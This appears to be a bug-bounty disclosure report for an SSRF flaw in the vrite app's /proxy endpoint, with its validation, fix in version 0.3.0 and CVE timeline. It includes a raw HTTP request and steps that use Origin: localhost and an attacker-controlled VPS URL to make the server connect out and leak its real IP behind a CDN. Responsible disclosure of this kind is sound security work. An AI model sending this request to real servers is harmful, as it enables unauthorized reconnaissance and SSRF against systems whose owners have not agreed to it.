SSRF vulnerability in the vrite in vriteio/vrite


Reported on

Sep 27th 2023


This vulnerability can be used to leak remote server information, bypass CDN like cloudflare. Also it can be used to the SSRF attack.

Proof of Concept

Here we can use it to leak the real IP of the

GET /proxy?url= HTTP/2
Origin: localhost
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Just send a GET request to the remote server. Adding Origin: localhost within the header. Set the proxy url parameter to your vps address. And you will receive a connection from the real vrite server.


Leak the real IP address of your website, and use it to do SSRF attack.


The proxy logic needs some modification

We are processing your report and will contact the vriteio/vrite team within 24 hours. 2 months ago
A GitHub Issue asking the maintainers to create a exists 2 months ago
We have contacted a member of the vriteio/vrite team and are waiting to hear back 2 months ago
vriteio/vrite maintainer validated this vulnerability 2 months ago
lokihardt has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Arek Nawo marked this as fixed in 0.3.0 with commit 187768 2 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
Arek Nawo published this vulnerability 2 months ago
app.ts#L54 has been validated
to join this conversation